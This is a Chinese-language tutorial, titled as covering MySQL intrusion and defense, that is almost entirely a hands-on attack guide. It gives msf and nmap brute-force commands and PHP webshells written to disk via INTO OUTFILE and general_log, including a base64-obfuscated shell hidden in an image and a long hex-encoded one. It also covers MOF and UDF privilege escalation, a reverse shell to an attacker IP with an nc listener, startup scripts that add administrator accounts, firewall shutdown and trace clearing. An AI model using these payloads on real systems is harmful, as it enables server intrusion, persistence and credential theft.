教你一些MySQL資料庫入侵及防禦方法(有書送)
在針對網站滲透中,很多都是跟 MySQL 資料庫有關,各種 MySQL 注入、MySQL 提權、MySQL 資料庫 Root 賬號 webshell 獲取等,但沒有一個對 MySQL 資料庫滲透較為全面的總結。
針對這種情況我們開展了研究,但技術的進步永無止境,思想有多遠,路就可以走多遠,在研究 MySQL 資料庫安全之餘,我們也對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。
一、MySQL 資訊收集
1、埠資訊收集
MySQL 預設埠是 3306 埠,但也有自定義埠,針對預設埠掃描主要利用掃描軟體進行探測,推薦使用:
iisputter,直接填寫 3306 埠,IP 地址填寫單個或者 C 段地址;
Nmap 掃描 Nmap -p 3306 192.168.1.1-254。
特定目標的滲透,可能需要對全埠進行掃描,可以使用 Nmap 對某一個 IP 地址進行全埠掃描,埠掃描軟體還有 sfind 等 DOS 下掃描的工具。
2、版本資訊收集
msf 檢視版本資訊“auxiliary/scanner/mysql/mysql_version”模組
以掃描主機 192.168.157.130 為例,命令為:
use auxiliary/scanner/mysql/mysql_version
set rhosts 192.168.157.130
run
MySQL 查詢版本命令:
SELECT @@version、SELECT version();
sqlmap 通過注入點掃描確認資訊:
sqlmap.py -u url –dbms mysql
phpmyadmin 管理頁面登入後檢視 localhost->變數->伺服器變數和設定中的 version 引數值。
MySQL 管理工具有多種,例如 phpmyadmin 網站管理,Navicat for MySQL 以及 MySQL Front 等客戶端工具。這些工具有的會直接儲存配置資訊,這些資訊包含資料庫伺服器地址和資料庫使用者名稱以及密碼,通過嗅探或者破解配置檔案可以獲取密碼等資訊。
MySQL 雜湊值列舉:
use auxiliary/scanner/mysql/mysql_hashdump
set username root
set password root
run
獲取相關資訊:
use auxiliary/admin/mysql/mysql_enum
set username root
set password root
run
獲取資料庫版本,作業系統名稱,架構,資料庫目錄,資料庫使用者以及密碼雜湊值。
執行 MySQL 語句,連線成功後可以在 msf 執行 SQL 語句,跟 sqlmap 的“–sql-shell”模組類似
use auxiliary/admin/mysql/mysql_sql
將mysql_schem匯出到本地/root/.msf4/loot/資料夾下
use auxiliary/scanner/mysql/mysql_schemadump
檔案列舉和目錄可寫資訊列舉
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs
沒有測試成功過,需要定義列舉目錄和相關檔案,覺得基本沒什麼用。
二、MySQL 密碼獲取
MySQL 暴力破解主要有幾種:
網頁線上連線破解:
可以使用 burpsuite 和 phpMyAdmin 多執行緒批量破解工具。
下載:
https://portswigger.net/burp/
http://pan.baidu.com/s/1c1LD6co
msf 通過命令列進行暴力破解:
msf 破解 MySQL 密碼模組 auxiliary/scanner/mysql/mysql_login,其引數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE引數。
對單一主機僅僅需要設定 RHOSTS、RPORT、USERNAME、PASSWORD 和 PASS_FILE,其它引數根據實際情況進行設定。
場景A:對內網獲取 Root 某個口令後,擴充套件滲透
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set password root
set username root
run
執行後對 192.168.157.1-254 進行 MySQL 密碼掃描驗證。
場景B:使用密碼字典進行掃描
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.1-254
set pass_file /tmp/password.txt
set username root
run
使用 nmap 掃描並破解密碼:
對某一個 IP 或者 IP 地址段進行 nmap 預設密碼暴力破解並掃描
nmap –script=mysql-brute 192.168.157.130
nmap –script=mysql-brute 192.168.157.1-254
使用 Root 賬號 Root 密碼進行 MySQL 密碼驗證並掃描獲取指定 IP 地址的埠資訊以及 MySQL 資料庫相關資訊
nmap -sV –script=mysql-databases –script-argsmysqluser=root,mysqlpass=root 192.168.157.130
檢查 Root 空口令
nmap –script mysql-empty-password 192.168.195.130
對 MySQL 口令進行掃描:
使用 hscan 工具對 MySQL 口令進行掃描,需要設定掃描 IP 地址段以及資料庫口令字典及使用者名稱字典。
網站原始碼備份檔案:
一些網站原始碼檔案中會包含資料庫連線檔案,通過檢視這些檔案可以獲取資料庫賬號和密碼。一般常見的資料庫連線檔案為 config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOMEdocsexamplesjcaXXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對 zip/rar/tar/tar.gz/gz/sql 等字尾檔案進行掃描
配置備份檔案:
使用 ultraedit 等編輯檔案編輯資料庫配置檔案後,會留下 bak 檔案。
本地檔案包含漏洞可以包含檔案,通過檢視檔案程式碼獲取資料庫配置檔案,進而讀取資料庫使用者名稱和密碼。
有些軟體會將 IP 地址、資料庫使用者名稱和密碼寫程式序中,執行程式後,通過 cain 軟體進行嗅探,可以獲取資料庫密碼。另外 MySQL客戶端管理工具有的管理員會建立連線記錄,這些連線記錄儲存了使用者名稱、密碼和連線 IP 地址或者主機名,通過配置檔案或者嗅探可以獲取使用者名稱和密碼。
三、MySQL 獲取 webshell
1、phpmyadminroot 賬號獲取 webshell
MySQL Root 賬號通過 phpMyAdmin 獲取 webshell 的思路,主要有下面幾種方式,以第1)2)6)8)方法較佳,其它可以根據實際情況來進行。
1)直接讀取後門檔案:
通過程式報錯、phpinfo 函式、程式配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有後門檔案通過 load_file 直接讀取。
2)直接匯出一句話後門:
前提需要知道網站的真實物理路徑,例如呼求偶真實路徑 D:workWWW,則可以通過執行以下查詢,來獲取一句話後門檔案 cmd.php,訪問地址:http://www.somesite.com/cmd.php
select `<?php @eval($_POST[antian365]);?>`INTO OUTFILE `D:/work/WWW/antian365.php`
3)建立資料庫匯出一句話後門:
在查詢視窗直接執行以下程式碼即可,跟2)原理類似
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
INSERT INTO `mysql`.`antian365` (`temp` ) VALUES(`<?php @eval($_POST[antian365]);?>`);
SELECT `temp` FROM `antian365` INTO OUTFILE`D:/www/antian365.php`;
DROP TABLE IF EXISTS `antian365`;
4)可執行命令方式:
建立執行命令形式的 Shell,但前提是對方未關閉系統函式。該方法匯出成功後可以直接執行 DOS 命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=後面直接執行dos命令)
select `<?php echo `<pre>`;system($_GET[`cmd`]); echo `</pre>`; ?>` INTO OUTFILE `d:/www/antian365.php`
另外在 Linux 下可以匯出直接執行命令的 Shell
SELECT `<? system($_GET[`c`]); ?>` INTO OUTFILE `/var/www/shell.php`;
http://localhost/shell.php?c=cat%20/etc/passwd
5)過防毒軟體方式:
通過後臺或者存在上傳圖片的地方,上傳圖片 publicguide.jpg,內容如下
<?php$a=` PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=`;error_reporting(0);@set_time_limit(0);eval(“?>”.base64_decode($a));?>
然後通過圖片包含 temp.php,匯出 webshell
select `<?php include `publicguide.jpg` ?>`INTO OUTFILE `D:/work/WWW/antian365.php`
一句話後門密碼:antian365
6)直接匯出加密 webshell:
一句話後門檔案密碼:pp64mqa2x1rnw68,執行以下查詢直接匯出加密 webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改 D:/WEB/IPTEST/22.php
select unhex(`203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E`) into dumpfile `D:/WEB/IPTEST/22.php`
(上下拉動可完整檢視)
注意:也可以使用 http://tool.lu/hexstr/ 網站的程式碼轉換來實現,將需要匯出的檔案程式碼複製到網站的字串中,通過字串轉成十六進位制,將十六進位制字串放入 unhex 函式進行查詢即可
select unhex(`十六進位制字串`) into dumpfile `D:/WEB/shell.php`
7)CMS 系統獲取 webshell:
有些情況下無法獲取網站的真實路徑,則意味著無法直接匯出一句話 webshell,可以通過 CMS 系統管理賬號登入系統後,尋找漏洞來突破,例如 dedecms 可以通過破解管理員賬號後直接上傳檔案來獲取 webshell。Discuz!的 UC_key 可以直接獲取 webshell。甚至某些系統可直接上傳 php 檔案。下面是一些 CMS 系統滲透的技巧:
dedecms 系統的密碼有直接 md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;
phpcms v9 版本的密碼需要加 salt 進行破解,需要選擇破解演算法 md5(md5($pass).$salt) 進行破解;
Discuz!論壇帳號儲存在 ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如 a0513df9929afc972f024fa4e586e829:399793。
8)general_log_file 獲取 webshell:
檢視 genera 檔案配置情況
show global variables like “%genera%”;
關閉 general_log
set global general_log=off;
通過 general_log 選項來獲取 webshell
set global general_log=`on`;
SET global general_log_file=`D:/phpStudy/WWW/cmd.php`;
在查詢中執行語句
SELECT `<?php assert($_POST[“cmd”]);?>`;
Shell 為 cmd.php,一句話後門,密碼為cmd。
2、Sqlmap 注入點獲取 webshell
Sqlmap 注入點獲取 webshell 的前提是具備寫許可權,一般是 Root 賬號,通過執行命令來獲取
sqlmap -u url–os-shell
echo “<?php @eval($_POST[`c`]);?>” >/data/www/1.php
webshell 上傳 mof 檔案提權:
MySQL Root 許可權 MOF 方法提權是來自國外 Kingcope 大牛釋出的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱 MySQL 遠端提權 0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:
方法1:執行 MOF 檔案指定為命令列引數 Mofcomp.exe 檔案;
方法2:使用 IMofCompiler 介面和 $ CompileFile 方法;
方法3:拖放到 %SystemRoot%System32WbemMOF 資料夾的 MOF 檔案。
Microsoft 建議您到儲存庫編譯 MOF 檔案使用前兩種方法。也就是執行 Mofcomp.exe 檔案,或使用 IMofCompiler::CompileFile 方法。第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。注意使用 MOF 方法提權的前提是當前 Root 帳號可以複製檔案到 %SystemRoot%System32WbemMOF 目錄下,否則會失敗!
該漏洞的利用前提條件是必須具備 MySQL 的 Root 許可權,在 Kingcope 公佈的 0day 中公佈了一個 pl 利用指令碼。
perl mysql_win_remote.pl 192.168.2.100 root “” 192.168.2.150 5555
192.168.2.100 為 MySQL 資料庫所在伺服器,MySQL 口令為空,反彈到 192.168.2.150 的 5555 埠上。
生成 nullevt.mof 檔案:
將以下程式碼儲存為nullevt.mof檔案:
#pragma namespace(“\\.\root\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent ”
“Where TargetInstance Isa “Win32_LocalTime” ”
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(“WScript.Shell”)
WSH.run(“net.exe user admin admin /add”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
(上下拉動可完整檢視)
通過 MySQL 查詢將檔案匯入:
執行以下查詢語句,將上面生成的 nullevt.mof 匯入到 c:windowssystem32wbemmof 目錄下在windows7 中預設是拒絕訪問的。匯入後系統會自動執行,執行命令
selectload_file(`C:\RECYCLER\nullevt.mof`) into dumpfile `c:/windows/system32/wbem/mof/nullevt.mof`;
msf 直接 mof 提權:
msf 下的 exploit/windows/mysql/mysql_mof 模組提供了直接 mof 提權,不過該漏洞成功跟作業系統許可權和 MySQL 資料庫版本有關,執行成功後會直接反彈 Shell 到 meterpreter
use exploit/windows/mysql/mysql_mof
set rhost 192.168.157.1 //設定需要提權的遠端主機IP地址
set rport 3306 //設定mysql的遠端埠
set password root //設定mysql資料庫root密碼
set username root //設定mysql使用者名稱
options //檢視設定
run 0
技巧:要是能夠通過網頁連線管理(phpmyadmin),則可以修改 host 為“%”並重新整理許可權後,則可以通過 msf 等工具遠端連線資料庫。預設 Root 等賬號不允許遠端連線,除非管理員或者資料庫使用者自己設定。
方法1:本地登入 MySQL,更改 “MySQL” 資料庫裡的 “user” 表裡的 “host” 項,將”localhost”改為”%”
use mysql;
update user set host = `%` where user = `root`;
FLUSH PRIVILEGES ;
select host, user from user;
方法2:直接授權(推薦)
從任何主機上使用 Root 使用者,密碼:youpassword(你的root密碼)連線到 MySQL 伺服器
# mysql -u root -proot
GRANT ALL PRIVILEGES ON *.* TO `root`@`%` IDENTIFIED BY `youpassword` WITH GRANT OPTION;
FLUSH PRIVILEGES;
推薦重新增加一個使用者,在實際測試過程中發現很多伺服器使用 Root 配置了多個地址,修改後可能會影響實際系統的執行。在實際測試過程中因此建議新增一個使用者,授權所有許可權,而不是直接更改 Root 配置。
UDF 提權是利用 MySQL 的自定義函式功能,將 MySQL 賬號轉化為系統 system 許可權,利用條件的目標系統是 Windows(Win2000/XP/2003);擁有 MySQL 的某個使用者賬號,此賬號必須有對 MySQL 的 insert 和 delete 許可權以建立和拋棄函式,有 Root 賬號密碼Windows 下 UDF 提權對於 Windows2008 以下伺服器比較適用,也即針對 Windows2000、Windows2003 的成功率較高。
UDF 提權條件:
MySQL 版本大於 5.1 版本 udf.dll 檔案必須放置於 MySQL 安裝目錄下的 libplugin 資料夾下。
MySQL 版本小於 5.1 版本。udf.dll 檔案在 Windows2003 下放置於 c:windowssystem32,在 Windows2000 下放置於 c:winntsystem32。
掌握的 MySQL 資料庫的賬號有對 MySQL 的 insert 和 delete 許可權以建立和拋棄函式,一般以 Root 賬號為佳,具備 Root 賬號所具備的許可權的其它賬號也可以。
可以將 udf.dll 寫入到相應目錄的許可權。
提權方法:
獲取資料庫版本、資料位置以及外掛位置等資訊
select version();//獲取資料庫版本
select user();//獲取資料庫使用者
select @@basedir ;//獲取安裝目錄
show variables like `%plugins%`; //尋找mysql安裝路徑
匯出路徑
C:Winntudf.dll Windows 2000
C:Windowsudf.dll Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)
MySQL 5.1 以上版本,必須要把 udf.dll 檔案放到 MySQL 安裝目錄下的 libplugin 資料夾下才能建立自定義函式。該目錄預設是不存在的,這就需要我們使用 webshell 找到 MySQL 的安裝目錄,並在安裝目錄下建立 libplugin 資料夾,然後將 udf.dll 檔案匯出到該目錄即可。
在某些情況下,我們會遇到 Can`t open shared library 的情況,這時就需要我們把 udf.dll 匯出到 libplugin 目錄下才可以,網上大牛發現利用 NTFS ADS 流來建立資料夾的方法
select @@basedir; //查詢到mysql的目錄
select `It is dll` into dumpfile `C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION`; //利用NTFS ADS建立lib目錄
select `It is dll` into dumpfile `C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION`;//利用NTFS ADS建立plugin目錄
執行成功以後就會 plugin 目錄,然後再進行匯出 udf.dll 即可。
建立 cmdshell 函式,該函式叫什麼名字在後續中則使用該函式進行查詢
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
執行命令
select sys_eval(‘whoami’);
一般情況下不會出現建立不成功哦。連不上 3389 可以先停止 windows 防火牆和篩選
select sys_eval(‘net stop policyagent’);
select sys_eval(‘net stop sharedaccess’);
udf.dll 下常見函式
cmdshell 執行cmd;
downloader 下載者,到網上下載指定檔案並儲存到指定目錄;
open3389 通用開3389終端服務,可指定埠(不改埠無需重啟);
backshell 反彈Shell;
ProcessView 列舉系統程式;
KillProcess 終止指定程式;
regread 讀登錄檔;
regwrite 寫登錄檔;
shut 關機,登出,重啟;
about 說明與幫助函式;
具體使用者示例
select cmdshell(`net user iis_user 123!@#abcABC /add`);
select cmdshell(`net localgroup administrators iis_user /add`);
select cmdshell(`regedit /s d:web3389.reg`);
select cmdshell(`netstat -an`);
清除痕跡
drop function cmdshell;//將函式刪除
刪除 udf.dll 檔案以及其它相關入侵檔案及日誌。
常見錯誤
#1290 – The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
SHOW VARIABLES LIKE “secure_file_priv”
在 my.ini 或者 mysql.cnf 檔案中登出 (使用#號) 包含 secure_file_priv 的行。
1123 – Can`t initialize function `backshell`; UDFs are unavailable with the –skip-grant-tables option,需要將 my.ini 中的 skip-grant-tables 選項去掉。
webshell 下 udf 提權:
通過整合 udf 提權的 webshell 輸入資料庫使用者名稱及密碼以及資料庫伺服器地址或者IP通過連線後匯出進行提權。
MySQL 提權綜合利用工具:
v5est0r 寫了一個 MySQL 提權綜合利用工具,詳細情況請參考其程式碼共享網站:https://github.com/v5est0r/Python_FuckMySQL,其主要功能有:
自動匯出你的 backdoor 和 mof 檔案;
自動判斷 MySQL 版本,根據版本不同匯出 UDF 的 DLL 到不同目錄,UDF 提權;
匯出 LPK.dll 檔案,劫持系統目錄提權;
寫啟動項提權。
UdF 自動提權
python root.py -a 127.0.0.1 -p root -e “ver&whoami” -m udf
LPK 劫持提權
python root.py -a 127.0.0.1 -p root -e “ver&whoami” -m lpk
啟動項提權
python root.py -a 127.0.0.1 -p root -e “ver&whoami” –mst
例如通過 LOAD_FILE 來檢視 MySQL 配置檔案 my.ini,如果其中配置了 skip-grant-tables,這無法進行提權。
3、無法獲取 webshell 提權
連線 MySQL:
mysql.exe -h ip -uroot -p
phpmyadmin
Navicat for MySQL
檢視資料庫版本和資料路徑:
SELECT VERSION( );
Select @@datadir;
5.1 以下版本,將 dll 匯入到 c:/windows 或者 c:/windows/system32/
5.1 以上版本 通過以下查詢來獲取外掛路徑
SHOW VARIABLES WHERE Variable_Name LIKE “%dir”;
show variables like `%plugin%` ;
select load_file(`C:/phpStudy/Apache/conf/httpd.conf`)
select load_file(`C:/phpStudy/Apache/conf/vhosts.conf`)
select load_file(`C:/phpStudy/Apache/conf/extra/vhosts.conf`)
select load_file(`C:/phpStudy/Apache/conf/extra/httpd.conf`)
select load_file(`d:/phpStudy/Apache/conf/vhosts.conf`)
修改 MySQL.txt:
MySQL.txt 為 udf.dll 的二進位制檔案轉成十六進位制程式碼。
先執行匯入 ghost 表中的內容,修改以下程式碼的末尾程式碼:select backshell(“YourIP”,4444);
匯出檔案到某個目錄
匯出過程:
select data from Ghost into dumpfile `c:/windows/mysqldll.dll`;
select data from Ghost into dumpfile `c:/windows/system32/mysqldll`;
select data from Ghost into dumpfile `c:/phpStudy/MySQL/lib/plugin/mysqldll`;
select data from Ghost into dumpfile `E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll`;
select data from Ghost into dumpfile `C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll`
select data from Ghost into dumpfile `D:/phpStudy/MySQL/lib/plugin/mysqldll.dll`;
C:ProgramDataMySQLMySQL Server 5.1Datamysql/user.myd
select load_file(`C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm`);
select data from Ghost into dumpfile `C:Program FilesMySQLMySQL Server 5.1lib/plugin/mysqldll.dll`
(上下拉動可完整檢視)
檢視 FUNCTION 中是否存在 cmdshell 和 backshell,存在則刪除
drop FUNCTION cmdshell;//刪除cmdshell
drop FUNCTION backshell;//刪除backshell
建立backshell
CREATE FUNCTION backshell RETURNS STRING SONAME `mysqldll.dll`; //建立backshell在具備獨立主機的伺服器上執行監聽
nc -vv -l -p 44444執行查詢
select backshell(“192.192.192.1”,44444);//修改192.192.192.1為你的IP和埠
獲取 webshell 後新增使用者命令:
注意如果不能直接執行,則需要到 c:windowssystem32 下執行
net user antian365 Www.Antian365.Com /add
net localgroup administrators antian365
4、Sqlmap 直連資料庫提權
Sqlmap 直接連線資料庫提權,需要有寫入許可權和 Root 賬號及密碼,命令如下:
連線資料庫:sqlmap.py -d “mysql://root:123456@219.115.1.1:3306/mysql” –os-shell
選擇作業系統的架構,32 位作業系統選擇 1,64 位選擇 2
自動上傳 udf 或提示 os-shell
執行 whomai 命令如果獲取系統許可權,則表示提權成功。
Msfudf 提權:
Kali 滲透測試平臺下執行(kali下載地址https://www.kali.org/downloads/)
msfconsole
use exploit/windows/mysql/mysql_payload
options
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run 0或者exploit
msf 下 udf 提權成功率並不高,跟 windows 作業系統版本,許可權和資料庫版本有關,特別是 secure-file-priv 選項,如果有該選項基本不會成功。
建立表並插入 vbs 指令碼到表中:
依次使用以下命令
show databases ;
use test;
show tables;
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user aspnetaspnettest/add””,0)”) ;
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators aspnet /add””,0) ” );
select * from a;
匯出 vbs 指令碼到啟動:
使用以下命令將剛才在 a 表中建立的 vbs 指令碼匯出到啟動選項中
select * from a into outfile “C:\Documents and Settings\All Users\「開始」選單\程式\啟動\a.vbs”;
匯入成功後,系統重新啟動時會自動新增密碼為“1”且使用者名稱稱為“1”的使用者到管理員組中。在實際使用過程中該指令碼成功執行的機率比較低,有時候會出現不能匯出的錯誤。
推薦使用以下指令碼
show databases ;
use test;
show tables;
create table b (cmd text);
insert into b values (“net user Aspnet123545345!* /add”);
insert into b values (“net localgroup administrators Aspnet /add”);
insert into b values (“del b.bat”);
select * from b into outfile “C:\Documents and Settings\All Users\「開始」選單\程式\啟動\b.bat”;
該指令碼執行後雖然會閃現 DOS 視窗,如果有許可權匯入到啟動選項中,則一定會執行成功,在虛擬機器中通過 MySQL 聯結器連線並執行以上命令後,在“C:Documents and SettingsAll Users「開始」選單程式啟動”目錄中會有剛才匯出的 b.bat 指令碼檔案。
說明:在不同的作業系統中“C:Documents and SettingsAll Users「開始」選單程式啟動”目錄檔名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本作業系統則其插入的程式碼為
select * from b into outfile “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\b.bat”;
Windows 2008 Server的啟動目錄為:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs
其 vbs 方法可以參考如下寫法
create table a (cmd text);
insert into a values (“set wshshell=createobject (“”wscript.shell”” ) ” );
insert into a values (“a=wshshell.run (“”cmd.exe /c net user antian365 qwer1234!@# /add””,0) ” );
insert into a values (“b=wshshell.run (“”cmd.exe /c net localgroup Administrators antian365 /add””,0) ” );
select * from a into outfile “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs”;
msf 下模組 exploit/windows/mysql/mysql_start_up 提權:
use exploit/windows/mysql/mysql_start_up
set rhost 192.168.2.1
set rport 3306
set username root
set password 123456
run
msf 下 mysql_start_up 提權有一定的機率,對英文版系統支援較好。
五、msf 其它相關漏洞提權
1、MySQL 身份認證漏洞及利用(CVE-2012-2122)
當連線 MariaDB/MySQL 時,輸入的密碼會與期望的正確密碼比較,由於不正確的處理,會導致即便是 memcmp() 返回一個非零值,也會使 MySQL 認為兩個密碼是相同的。也就是說只要知道使用者名稱,不斷嘗試就能夠直接登入 SQL 資料庫。按照公告說法大約 256 次就能夠蒙對一次。受影響的產品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
2、exploit/windows/mysql/mysql_yassl_hello
3、exploit/windows/mysql/scrutinizer_upload_exec
六、MySQL 密碼破解
使用 UltraEdit-32 編輯器直接開啟 user.MYD 檔案,開啟後使用二進位制模式進行檢視,在 Root 使用者後面是一串字串,選中這些字串將其複製到記事本中,這些字串即為使用者加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。
注意:
root 後面的“*”不要複製到字串中。
在有些情況下需要往後面看看,否則得到的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數是 40 位。
安裝 cain 工具,使用 cracker,右鍵單擊“Add tolist”將 MySQL Hashes 值加入到破解列表中,使用軟體中的字典、暴力破解等方式來進行暴力破解。
-
cmd5.com 破解。將獲取的 MySQL 值放在 cmd5.com 網站中進行查詢,MySQL 密碼一般都是收費的;
-
somd5.com 破解。Somd5.com 是後面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次後需要重新輸入驗證碼。
Hashcat 支援很多種破解演算法,免費開源軟體,官方網站 https://hashcat.net/hashcat/,破解命令
hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323型別
hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5型別
John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能夠破解 linux 外,還能破解多種格式的密碼
Echo *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt
John –format =mysql-sha1 hashes.txt
john –list=formats | grep mysql //檢視支援mysql密碼破解的演算法
相關文章
- 11種方法教你有效防禦DDOS攻擊!
- DDOS伺服器防禦的方法有哪些,如何防禦DDOS攻擊伺服器
- 教你資料庫漏洞防護技術資料庫
- 如何防禦CC攻擊?常用方法有哪些?
- 寶塔漏洞防禦 防止資料庫被刪的方案資料庫
- 5 種方法,教你如何防禦供應鏈網路攻擊
- 安裝mysql資料庫及問題解決方法MySql資料庫
- 網路釣魚攻擊常用方法及防禦措施!
- 資料庫入侵的六大手段與防範措施(一)資料庫
- BGP劫持原理及如何防禦
- 10大網路安全攻擊手段及防禦方法(二)!
- 伺服器防禦ddos方法伺服器
- 在Linux中,什麼是入侵檢測系統(IDS)和入侵防禦系統(IPS)?Linux
